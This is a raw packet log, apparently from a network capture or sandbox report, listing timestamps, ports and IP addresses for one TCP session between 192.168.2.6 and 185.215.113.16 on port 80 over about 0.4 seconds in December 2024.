Dec 20, 2024 16:19:56.924091101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.924638987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.924748898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.924761057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.924863100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.925374031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.925494909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.925507069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.925559044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.925559044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.926129103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.926256895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.926269054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.926343918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.926903963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.927004099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.927028894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.927042961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.927161932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.927714109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.927850962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.927864075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.927923918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.928483963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.928617954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.928630114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.928713083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.928713083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.929280996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.929394960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.929409027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.929475069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.930047035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.930249929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.930285931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.930300951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.930381060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.930820942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.930949926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.930963993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.931041002 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.931602001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.931689024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.931709051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.931723118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.932080984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.932368994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.932501078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.932517052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.932562113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.933175087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.933262110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.933326960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.933348894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.933407068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.933971882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.934082031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.934097052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.934215069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.934794903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.934905052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.934936047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.934948921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.935091019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.935627937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.935709953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.935724020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.936108112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.936266899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.936383963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.936402082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.936530113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.937935114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.937948942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.937961102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.937973022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.938036919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.938036919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.938220024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.938234091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.938431025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.938949108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.938961983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.938973904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.939012051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.939126015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.939286947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.939791918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.939905882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.939919949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.940005064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.940443039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.940556049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.940589905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.940603018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.940642118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.941293001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.941375971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.941390038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.941477060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.942111015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.942226887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.942240953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.942267895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.942622900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.942955971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.943103075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.943115950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.943243027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.943739891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.943854094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.943876982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.943888903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.944036007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.944585085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.944655895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.944668055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.944853067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.945180893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.945235014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.945312977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.945331097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.945429087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.945920944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.946001053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.946012020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.946161032 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.946748018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.946876049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.946888924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.946913958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.946981907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.947527885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.947618961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.947630882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.947983980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.113615990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.113656998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.113672972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.113892078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.113904953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.113918066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.113934994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.114026070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.114026070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.114383936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.114556074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.114631891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.114686966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.114700079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.114773035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.115392923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.115523100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.115535021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.115612984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.116128922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.116210938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.116225004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.116277933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.116374016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.116869926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.116980076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.116991997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.117321968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.117630959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.117769957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.117784023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.117819071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.117819071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.118578911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.118683100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.118695974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.118753910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.119265079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.119337082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.119393110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.119406939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.119987011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.120018005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.120134115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.120150089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.120218992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.120773077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.120901108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.120918989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.120955944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.121042013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.121579885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.121694088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.121710062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.121953011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.122355938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.122451067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.122463942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.122486115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.122611046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.123100042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.123239040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.123254061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.123383045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.123965025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.124062061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.124074936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.124090910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.124201059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.124708891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.124802113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.124815941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.125159025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.125616074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.125735998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.125747919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.125778913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.125792980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.126616001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.126739025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.126751900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.127448082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.127580881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.127593994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.127599001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.127748013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.128382921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.128501892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.128516912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.128669977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.129256964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.129379034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.129395008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.129426956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.129461050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.130219936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.130350113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.130363941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.130774021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.131202936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.131275892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.131337881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.131350994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.131613970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.131968975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.132111073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.132122993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.132210970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.132714033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.132827997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.132842064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.132898092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.133457899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.133558035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.133569956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.133595943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.133671999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.134279966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.134367943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.134491920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.134505033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.134603977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.134639978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.135143042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.135229111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.135241985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.135334969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.135334969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.135840893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.135905027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.135917902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.136137962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.136508942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.136641979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.136653900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.136665106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.136796951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.137178898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.137307882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.137320995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.137481928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.137993097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.138159990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.138170958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.138216019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.138226032 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.138892889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.139033079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.139048100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.139156103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.139760017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.139874935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.139889002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.139976025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.139976025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.140497923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.140578032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.140592098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.140698910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.305649996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.305692911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.305706024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.305836916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.305959940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.306021929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.306184053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.306488037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.306574106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.306601048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.306830883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.306926012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.306940079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.306962967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.307069063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.307646036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.307738066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.307750940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.307921886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.308473110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.308552980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.308578968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.308593988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.308697939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.309247971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.309397936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.309411049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.309514046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.309987068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.310092926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.310126066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.310137987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.310281992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.310812950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.310939074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.310951948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.311134100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.311580896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.311650991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.311665058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.311677933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.312048912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.312397003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.312638044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.312650919 CET	80	49828	185.215.113.16	192.168.2.6
